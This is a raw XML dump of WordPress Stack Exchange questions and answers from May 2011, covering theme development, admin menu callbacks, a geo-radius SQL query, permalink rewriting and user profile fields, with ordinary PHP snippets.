  <row Id="16413" PostTypeId="1" CreationDate="2011-05-05T09:36:06.903" Score="2" ViewCount="93" Body="&lt;p&gt;I have a big problem and no clue how to solve it :) I want to add a &quot;module&quot; to my homepage (static homepage, not blog posts) that will display the 2 latest blog posts in a very particular way and link back to them. The posts would only display on the homepage and not every other page but the php template used for the page is shared with all the custom pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a quick sketch of it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/Zuaiu.jpg&quot; alt=&quot;Photo of a paper sketch&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A site that does this beautifully on their homepage is SEOmoz ( but i don't need that much functionality, only blog post title, thumb, excerpt &amp;amp; link to read more )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/9l4LT.png&quot; alt=&quot;Screenshot from seomoz.org&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a simple way to do this? (plugins, code you can copy/paste from anywhere?) or can I pay someone to write this up for me?&lt;/p&gt;&#xA;" OwnerUserId="4402" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-05T13:10:35.807" LastActivityDate="2011-06-04T16:57:35.857" Title="Adding &quot;latest from the blog&quot; to the homepage" Tags="&lt;theme-development&gt;&lt;posts&gt;&lt;homepage&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" />
  <row Id="16414" PostTypeId="1" CreationDate="2011-05-05T09:36:29.500" Score="1" ViewCount="184" Body="&lt;p&gt;I want to edit a file &lt;code&gt;style.css&lt;/code&gt; but the theme editor shows this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* ---------- Reset Tags ----------- */&#xA;@import url(&quot;css/reset.css&quot;);&#xA;&#xA;/* ---------- Reset Tags ----------- */&#xA;@import url(&quot;css/prettyPhoto.css&quot;);&#xA;&#xA;/* ---------- Shortcodes ----------- */&#xA;@import url(&quot;css/shortcodes.css&quot;);&#xA;&#xA;/* ---------- Site Styles ---------- */&#xA;@import url(&quot;css/style.css&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there any way to edit &lt;code&gt;css/style.css&lt;/code&gt; via the Theme Editor?&lt;/p&gt;&#xA;" OwnerUserId="5073" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-05T12:26:50.897" LastActivityDate="2011-05-09T07:50:15.767" Title="Can't edit style.css in subdirectory of my theme?" Tags="&lt;theme-development&gt;&lt;wp-admin&gt;&lt;stylesheet&gt;" AnswerCount="3" />
  <row Id="16415" PostTypeId="1" AcceptedAnswerId="16447" CreationDate="2011-05-05T09:47:47.923" Score="2" ViewCount="223" Body="&lt;p&gt;&lt;strong&gt;Situation:&lt;/strong&gt; I'm working on a plugin and I'm developing it as a class, everything worked fine until I run into this situation. I wanted to make things a bit cleaner and tried this..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyPlugin {&#xA;    function __construct() {&#xA;        add_action('admin_menu', array(&amp;amp;$this, 'myplugin_create_menus');&#xA;    }        &#xA;&#xA;    //I don't want to write a function for every options page I create&#xA;    //so I prefer to just load the content from an external file.        &#xA;    function load_view($filename) {&#xA;        $view = require(dirname(__FILE__).'/views/'.$filename.'.php');&#xA;        return $view;&#xA;    }&#xA;&#xA;    //Here is where the problem comes&#xA;    function myplugin_create_menus() {&#xA;        add_menu_page( 'Plugin name',&#xA;                       'Plugin name',&#xA;                       'manage_options',&#xA;                       'my-plugin-settings',&#xA;                       array(&amp;amp;$this, 'load_view') // Where do I specify the value of $filename??&#xA;                     );&#xA;    }&#xA;&#xA;}#end of class&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've tried a bunch of different options but nothing works, maybe I'm in front of it but I can't see it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course this is a re-creation, I've prefixed all my functions and they are not exactly as I wrote here but I hope you got the idea of I'm asking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Thanks in advance.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.D.: If you want to see the original source code I'll be glad to paste it and give you the link.&lt;/p&gt;&#xA;" OwnerUserId="5132" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-05T12:57:12.183" LastActivityDate="2011-05-05T13:05:49.680" Title="Passing arguments to a admin menu page callback?" Tags="&lt;plugin-development&gt;&lt;functions&gt;&lt;admin-menu&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="16417" PostTypeId="2" ParentId="16414" CreationDate="2011-05-05T10:05:29.480" Score="1" ViewCount="" Body="&lt;p&gt;If you move your CSS files to the root of your theme, instead of a separate &quot;css&quot; directory, the CSS files will show up in the admin automatically.&lt;/p&gt;&#xA;" OwnerUserId="4936" LastActivityDate="2011-05-05T10:05:29.480" CommentCount="1" />
  <row Id="16418" PostTypeId="1" AcceptedAnswerId="16444" CreationDate="2011-05-05T10:06:28.987" Score="3" ViewCount="190" Body="&lt;p&gt;I'll just like to add that I have a current working solution in place and works well but I'm looking for ideas of being able to do it better or cleaner if possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have hundreds of properties in a custom post type with metakey/metavalue holding the properties longitude and latitude co-ordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We allow a visitor to type in a location and a radius to search for those properties in that area. Kind of like a store locator. Here is how I'm doing it at the moment:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Work out square radius&#xA;if(!empty($_SESSION['s_property_radius'])) {$dist = $_SESSION['s_property_radius'];}else{$dist = 50;}&#xA;$orig_lat = $_SESSION['s_property_address_lat'];&#xA;$orig_lon = $_SESSION['s_property_address_lng'];&#xA;$lon1 = $orig_lon - $dist / abs( cos( deg2rad( $orig_lat ) ) * 69 );&#xA;$lon2 = $orig_lon + $dist / abs( cos( deg2rad( $orig_lat ) ) * 69 );&#xA;$lat1 = $orig_lat - ( $dist / 69 );&#xA;$lat2 = $orig_lat + ( $dist / 69 );&#xA;&#xA;// Compile a map search query to get all property ID's.&#xA;$mapsearchquery = &quot;&#xA;            SELECT `t`.`ID`&#xA;            , 3956 * 2 * ASIN( SQRT( POWER( SIN( ( &quot;.$orig_lat.&quot; - CAST(`t`.`property_address_lat` AS DECIMAL(9,6)) ) * pi() / 180 / 2), 2 ) + COS( &quot;.$orig_lat.&quot; * pi() / 180) * COS( CAST(`t`.`property_address_lat` AS DECIMAL(9,6)) * pi() / 180 ) * POWER( SIN( ( &quot;.$orig_lon.&quot; - CAST(`t`.`property_address_lng` AS DECIMAL(9,6)) ) * pi() / 180 / 2 ), 2 ) ) ) AS `distance` &#xA;            FROM (&#xA;&#xA;            SELECT `$wpdb-&amp;gt;posts`.`ID`&#xA;            , MAX(CASE WHEN `$wpdb-&amp;gt;postmeta`.`meta_key` = 'chb_homes_for_sale_address_longitude' THEN `$wpdb-&amp;gt;postmeta`.`meta_value` END ) AS `property_address_lng`&#xA;            , MAX(CASE WHEN `$wpdb-&amp;gt;postmeta`.`meta_key` = 'chb_homes_for_sale_address_latitude' THEN `$wpdb-&amp;gt;postmeta`.`meta_value` END ) AS `property_address_lat`&#xA;            FROM `$wpdb-&amp;gt;posts` &#xA;            LEFT JOIN `$wpdb-&amp;gt;postmeta` ON ( `$wpdb-&amp;gt;posts`.`ID` = `$wpdb-&amp;gt;postmeta`.`post_id` ) &#xA;            WHERE `$wpdb-&amp;gt;posts`.`post_status` = 'publish' &#xA;            AND `$wpdb-&amp;gt;posts`.`post_type` = 'homes-for-sale' &#xA;            GROUP BY `$wpdb-&amp;gt;posts`.`ID` &#xA;            HAVING CAST(`property_address_lng` AS DECIMAL(9,6)) BETWEEN '&quot;.$lon1.&quot;' AND '&quot;.$lon2.&quot;' AND CAST(`property_address_lat` AS DECIMAL(9,6)) BETWEEN '&quot;.$lat1.&quot;' AND '&quot;.$lat2.&quot;'&#xA;&#xA;            ) AS `t`&#xA;            HAVING `distance` &amp;lt; &quot;.$dist.&quot;&#xA;        &quot;;&#xA;&#xA;// Just get the ID's&#xA;$mapsearchresults = $wpdb-&amp;gt;get_col($mapsearchquery);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This returns an array of all post id's that are within the users search parameters. I then past that array to WP_Query to only show posts that have the above ID's using &lt;code&gt;post__in&lt;/code&gt;. Also I can do other search criteria on the WP_Query afterwards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the above query I do a square radius check and I know this could be easily done in WP_Query using &lt;code&gt;meta_query&lt;/code&gt;. But where I get stuck is running the circle radius check. Is there a way I can wrap this in WP_Query?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically what I'm after is trying to do this all in one rather than doing two lots of queries.&lt;/p&gt;&#xA;" OwnerUserId="4610" LastActivityDate="2011-06-20T16:26:00.850" Title="Is it possible to wrap Geo Location search around WP_Query?" Tags="&lt;wp-query&gt;&lt;geo-data&gt;&lt;custom-sql&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="16419" PostTypeId="2" ParentId="2336" CreationDate="2011-05-05T10:06:37.540" Score="0" ViewCount="" Body="&lt;p&gt;Just out of interest can you tell me what the 10 &amp;amp; 2 refer to in the add_filter line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('wp_insert_post_data','my_wp_insert_post_data',10,2);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The wordpress codex definition for wp_insert_post_data doesn't mention them and they just seem to use one param in their examples e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'wp_insert_post_data' , 'filter_handler' , '99' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5136" LastActivityDate="2011-05-05T10:06:37.540" />
  <row Id="16421" PostTypeId="1" AcceptedAnswerId="16629" CreationDate="2011-05-05T10:21:32.583" Score="0" ViewCount="103" Body="&lt;p&gt;I'm using the &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-tweetbutton/&quot; rel=&quot;nofollow&quot;&gt;WP-TweetButton&lt;/a&gt; but when I set the settings to add the button manually. &lt;a href=&quot;http://alexchen.info/nojokethistime/&quot; rel=&quot;nofollow&quot;&gt;Nothing is displayed&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Settings:&lt;img src=&quot;http://i.stack.imgur.com/D7XXd.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;div id=&quot;social-buttons&quot;&amp;gt;&#xA;                        &amp;lt;div id=&quot;tweet-button&quot;&amp;gt;&#xA;                            &amp;lt;?php tweetbutton(); ?&amp;gt;&#xA;                        &amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div id=&quot;fb-share&quot;&amp;gt;&amp;lt;?php if (function_exists('fbshare_manual')) echo fbshare_manual(); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                        &amp;lt;div id=fb-like&amp;gt;&amp;lt;iframe src=&quot;http://www.facebook.com/plugins/like.php?href=&amp;lt;?php echo urlencode(get_permalink($post-&amp;gt;ID)); ?&amp;gt;&amp;amp;amp;layout=standard&amp;amp;amp;show_faces=false&amp;amp;amp;width=450&amp;amp;amp;action=like&amp;amp;amp;colorscheme=light&quot; scrolling=&quot;no&quot; frameborder=&quot;0&quot; allowTransparency=&quot;true&quot; style=&quot;border:none; overflow:hidden; width:450px; height:60px&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;lt;/div&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                    &amp;lt;div id=&quot;next&quot;&amp;gt;&amp;lt;?php previous_posts_link( __( 'next &amp;amp;rarr;', 'twentyten' ) ); ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;                &amp;lt;?php endif; ?&amp;gt;&#xA;            &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm using Wordpress 3.1.2 and the last version of the plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is anyone having this problem too? Have anyone managed to fix it?&lt;/p&gt;&#xA;" OwnerUserId="781" LastActivityDate="2011-05-07T05:32:29.327" Title="WP-TweetButton is not displaying the tweet button if this is set to &quot;Manual.&quot;" Tags="&lt;plugins&gt;&lt;twitter&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="16422" PostTypeId="2" ParentId="16415" CreationDate="2011-05-05T10:47:59.043" Score="0" ViewCount="" Body="&lt;p&gt;the function load_view should be like this?:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function load_view($filename) {&#xA;    include(dirname(__FILE__).'/views/'.$filename.'.php');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and in your include file it should echo any content for the page being displayed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what the codex says on the matter:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$menu_slug&#xA;(string) (required)&lt;/code&gt; The slug name to refer to this menu by (should be unique for this menu). Prior to Version 3.0 this was called the file (or handle) parameter. If the function parameter is omitted, the menu_slug should be the PHP file that handles the display of the menu page content.&#xA;Default: None&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$function&lt;/code&gt;&#xA;The function that displays the page content for the menu page. Technically, the function parameter is optional, but if it is not supplied, then WordPress will basically assume that including the PHP file will generate the administration screen, without calling a function. Most plugin authors choose to put the page-generating code in a function within their main plugin file.:In the event that the function parameter is specified, it is possible to use any string for the file parameter. This allows usage of pages such as ?page=my_super_plugin_page instead of ?page=my-super-plugin/admin-options.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I can gather from this is that if you leave function empty it tries to include a php file based on what you have set the &lt;code&gt;menu_slug&lt;/code&gt; to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT 2&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function load_view() {&#xA;    include(dirname(__FILE__).'/views/'.$this-&amp;gt;filename.'.php');&#xA;}&#xA;&#xA;function myplugin_create_menus() {&#xA;    $this-&amp;gt;filename = &quot;something&quot;;&#xA;    add_menu_page( 'Plugin name',&#xA;                   'Plugin name',&#xA;                   'manage_options',&#xA;                   'my-plugin-settings',&#xA;                   array(&amp;amp;$this, 'load_view')&#xA;                 );&#xA;    $this-&amp;gt;filename = &quot;somethingelse&quot;;&#xA;    add_menu_page( 'Plugin name',&#xA;                   'Plugin name',&#xA;                   'manage_options',&#xA;                   'my-plugin-settings',&#xA;                   array(&amp;amp;$this, 'load_view')&#xA;                 );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4610" LastEditorUserId="4610" LastEditorDisplayName="" LastEditDate="2011-05-05T12:09:02.733" LastActivityDate="2011-05-05T12:09:02.733" CommentCount="6" />
  <row Id="16423" PostTypeId="1" CreationDate="2011-05-05T10:52:41.417" Score="0" ViewCount="132" Body="&lt;p&gt;Is it possible to change Theme for specifir page or post?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any recommended plugin for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5138" LastActivityDate="2011-07-04T13:42:17.383" Title="Change Theme per page or post" Tags="&lt;themes&gt;" AnswerCount="2" />
  <row Id="16424" PostTypeId="2" ParentId="16423" CreationDate="2011-05-05T11:15:43.360" Score="1" ViewCount="" Body="&lt;p&gt;Yes you can you need create a custom theme. Save a copy of single.php file rename it to whatever you want. Paste the following code there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://pastebin.com/jhZAEmZ9&quot; rel=&quot;nofollow&quot;&gt;http://pastebin.com/jhZAEmZ9&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you can select your template everytime you create new post. Hope i helped you&lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-05-05T11:15:43.360" CommentCount="3" />
  <row Id="16425" PostTypeId="1" CreationDate="2011-05-05T06:13:19.577" Score="0" ViewCount="74" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;http://wordpress.stackexchange.com/questions/16426/add-file-upload-field-to-user-details&quot;&gt;add &amp;#39;file upload&amp;#39; field to user details&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;In Wordpress I need to add another user field.  Similar to &lt;a href=&quot;http://bavotasan.com/tutorials/adding-extra-fields-to-the-wordpress-user-profile/&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt;. But I need it to be able to upload a file instead of just plain text.  Can I get some help please?&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Update:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;In the back end a user can add personal info (ie. name, aim, email, bio, etc.), however these are all text input fields.  I want to add a field that allows me to upload a file so every user can upload a file in there details page.&lt;/p&gt;&#xA;" OwnerUserId="5140" LastEditorUserId="3266" LastEditorDisplayName="" LastEditDate="2011-05-05T11:34:14.293" LastActivityDate="2011-05-05T11:34:14.293" ClosedDate="2011-05-05T20:31:08.240" Title="Wordpress user details, adding an extra file field" Tags="&lt;php&gt;&lt;input&gt;&lt;uploads&gt;" CommentCount="2" />
  <row Id="16426" PostTypeId="1" CreationDate="2011-05-05T11:23:23.963" Score="0" ViewCount="159" Body="&lt;p&gt;In the backend when a user goes to their detail page they can edit a few text fields. I want to add a custom field that allows the user to upload a file. I found something similar but its only to add extra text fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://bavotasan.com/tutorials/adding-extra-fields-to-the-wordpress-user-profile/m&quot; rel=&quot;nofollow&quot;&gt;add extra user fields&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5140" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-04T20:01:57.270" LastActivityDate="2011-06-04T20:01:57.270" Title="add 'file upload' field to user details" Tags="&lt;users&gt;&lt;uploads&gt;&lt;profiles&gt;" AnswerCount="1" />
  <row Id="16427" PostTypeId="1" AcceptedAnswerId="16432" CreationDate="2011-05-05T11:36:32.227" Score="1" ViewCount="184" Body="&lt;p&gt;I'm trying to do some WordPress URL rewriting ...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specifically I have custom post type that currently works like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://mydomain.com/videos/post-title/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I would like to have it located at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://mydomain.com/videos/author-name/post-title/&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="3986" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-05T12:01:13.447" LastActivityDate="2011-05-05T12:01:13.447" Title="Adding %author% in custom post type URL structure?" Tags="&lt;custom-post-types&gt;&lt;url-rewriting&gt;&lt;author&gt;" AnswerCount="4" />
  <row Id="16428" PostTypeId="1" CreationDate="2011-05-05T11:38:33.177" Score="0" ViewCount="46" Body="&lt;p&gt;When I try to log into the forums, it tells me that my identity (readingtub) does not exist, yet when I click &quot;send password&quot; to that same identity I get an email with the new temp password ... but STILL cannot log in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't know how to resolve this ... and want to follow the &quot;contact the webmaster&quot; instruction, but cannot find contact.&lt;/p&gt;&#xA;" OwnerUserId="5142" LastActivityDate="2011-05-05T11:38:33.177" Title="How do I contact the Wordpress Forum Administrator or Webmaster" Tags="&lt;login&gt;&lt;troubleshooting&gt;&lt;webmaster&gt;" CommentCount="1" />
  <row Id="16429" PostTypeId="2" ParentId="16427" CreationDate="2011-05-05T11:47:00.370" Score="0" ViewCount="" Body="&lt;p&gt;goto the permalinks section on the settings in the admin panel, set a &lt;code&gt;custom  structure&lt;/code&gt; like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/%category%/%author%/%postname%/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this assumes &lt;code&gt;videos&lt;/code&gt; is a category&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Using_Permalinks#Structure_Tags&quot; rel=&quot;nofollow&quot;&gt;Check here&lt;/a&gt; for more options.&lt;/p&gt;&#xA;" OwnerUserId="784" LastActivityDate="2011-05-05T11:47:00.370" CommentCount="2" />
  <row Id="16430" PostTypeId="2" ParentId="16427" CreationDate="2011-05-05T11:47:15.223" Score="0" ViewCount="" Body="&lt;p&gt;use the following structure if you installed wordpress in a subdirectory (videos)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/%author%/%postname%/&lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-05-05T11:47:15.223" />
  <row Id="16431" PostTypeId="1" CreationDate="2011-05-05T11:47:44.910" Score="0" ViewCount="52" Body="&lt;p&gt;I like the forum script of Wordpress Answers webpage, do you know the script used?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="5138" LastActivityDate="2011-05-05T12:04:14.653" ClosedDate="2011-05-05T20:15:19.513" Title="Forum script used in this page?" Tags="&lt;forum&gt;" AnswerCount="1" />
  <row Id="16432" PostTypeId="2" ParentId="16427" CreationDate="2011-05-05T11:48:24.943" Score="2" ViewCount="" Body="&lt;p&gt;using Jhon's &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-permalinks/&quot; rel=&quot;nofollow&quot;&gt;Custom Post Permalinks&lt;/a&gt;  plugin it should be easy &#xA;using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/%post_type%/%author%/%postname%/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-05T11:48:24.943" CommentCount="2" />
  <row Id="16433" PostTypeId="2" ParentId="16413" CreationDate="2011-05-05T11:48:41.603" Score="0" ViewCount="" Body="&lt;p&gt;Nice handwriting :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be simply done by checking whether the current page is home, and by fetching the two latest blog posts. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php&#xA;        if ( is_home() ) {&#xA;&#xA;            query_posts(&quot;posts_per_page=2&quot;);&#xA;        }&#xA;&#xA;        // run the Loop&#xA;&#xA;        if ( have_posts() ) : while ( have_posts() ) : the_post(); &#xA;&#xA;    ?&amp;gt;&#xA;&#xA;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This will show the blog post titles linked to the blog posts themselves. Insert any other function that will fetch the info you need (eg, the_excerpt() ).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can add parameters to your query in order to make it more precise, eg, retrieve posts from a specific category only.&lt;/p&gt;&#xA;" OwnerUserId="1450" LastEditorUserId="1450" LastEditorDisplayName="" LastEditDate="2011-05-05T16:00:21.447" LastActivityDate="2011-05-05T16:00:21.447" CommentCount="3" />
  <row Id="16434" PostTypeId="2" ParentId="16427" CreationDate="2011-05-05T11:59:52.870" Score="0" ViewCount="" Body="&lt;p&gt;You can do this with your own code, without plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To accept URLs of this format, it's enough if you set the rewrite slug when you register the post type:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpse16427_init' );&#xA;function wpse16427_init()&#xA;{&#xA;    register_post_type( 'wpse16427', array(&#xA;        'label' =&amp;gt; 'WPSE 16427',&#xA;        'public' =&amp;gt; true,&#xA;        'rewrite' =&amp;gt; array(&#xA;            'slug' =&amp;gt; 'video/%author%',&#xA;        ),&#xA;    ) );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will also generate author archives at &lt;code&gt;video/[authorname]&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To generate the new URLs, you need to replace the &lt;code&gt;%author%&lt;/code&gt; part yourself, &lt;code&gt;get_post_permalink()&lt;/code&gt; does not do this for you. So filter the output and replace it yourself:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'post_type_link', 'wpse16427_post_type_link', 10, 4 );&#xA;function wpse16427_post_type_link( $post_link, $post, $leavename, $sample )&#xA;{&#xA;    if ( 'wpse16427' == $post-&amp;gt;post_type ) {&#xA;        $authordata = get_userdata( $post-&amp;gt;post_author );&#xA;        $author = $authordata-&amp;gt;user_nicename;&#xA;        $post_link = str_replace( '%author%', $author, $post_link );&#xA;    }&#xA;    return $post_link;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-05-05T11:59:52.870" />
  <row Id="16435" PostTypeId="2" ParentId="16431" CreationDate="2011-05-05T12:04:14.653" Score="0" ViewCount="" Body="&lt;p&gt;This id not exactly a forum but a part of the &lt;a href=&quot;http://stackexchange.com/sites&quot;&gt;Stack Exchange network of Q&amp;amp;A websites&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't mind pending a little money then the guys at wpmudev had just released a plugin just for that : &lt;a href=&quot;http://premium.wpmudev.org/project/qa-wordpress-questions-and-answers-plugin&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Q&amp;amp;A - WordPress Questions and Answers Plugin&lt;/strong&gt;&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-05T12:04:14.653" />
  <row Id="16436" PostTypeId="2" ParentId="16426" CreationDate="2011-05-05T12:07:34.497" Score="1" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://wordpress.org/extend/plugins/cimy-user-extra-fields/&quot; rel=&quot;nofollow&quot;&gt;Cimy User Extra Fields&lt;/a&gt; which will allow you to add as many fields as you'd like and currently supports: &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;text&lt;/li&gt;&#xA;&lt;li&gt;textarea&lt;/li&gt;&#xA;&lt;li&gt;textarea-rich&lt;/li&gt;&#xA;&lt;li&gt;password&lt;/li&gt;&#xA;&lt;li&gt;checkbox&lt;/li&gt;&#xA;&lt;li&gt;radio&lt;/li&gt;&#xA;&lt;li&gt;drop-down&lt;/li&gt;&#xA;&lt;li&gt;picture&lt;/li&gt;&#xA;&lt;li&gt;picture-url&lt;/li&gt;&#xA;&lt;li&gt;registration-date&lt;/li&gt;&#xA;&lt;li&gt;avatar&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;file&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-05T12:07:34.497" />
  <row Id="16437" PostTypeId="1" CreationDate="2011-05-05T12:12:20.360" Score="0" ViewCount="60" Body="&lt;p&gt;One of my favorite blogs/comics is closing down and I'd like to archive it. I contacted the authors but got no response. I'd like to know if there is an existing program that will crawl and archive the site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe it is using WordPress 3.0 and ComicPress 2.7. The archiving doesnt need to be perfect. I just want the comic/main img, description and optionally the user comments below.&lt;/p&gt;&#xA;" OwnerUserId="5143" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-05T12:33:15.527" LastActivityDate="2011-05-05T12:33:15.527" ClosedDate="2011-05-05T20:24:11.503" Title="Archive third-party WordPress site?" Tags="&lt;archive&gt;&lt;theme-comicpress&gt;" CommentCount="5" />
  <row Id="16438" PostTypeId="2" ParentId="16410" CreationDate="2011-05-05T12:15:18.003" Score="1" ViewCount="" Body="&lt;p&gt;It's not really a shortcode, its a content filter but you can try calling the plugins function directly: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (function_exists('StreamVideo_Parse_content')){&#xA;   echo StreamVideo_Parse_content(&quot;[stream flv=xxx.es/wp-content/uploads/2011/04/VIDEO-UE.mp4 mp4=xxx.es/wp-content/uploads/2011/04/VIDEO-UE.mp4 provider=video img=xxx.es/wp-content/uploads/2011/04/previo-video.jpg embed=false share=false width=500 height=333 dock=true controlbar=over bandwidth=high autostart=false opfix=true /]&quot;);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-05T12:15:18.003" CommentCount="2" />
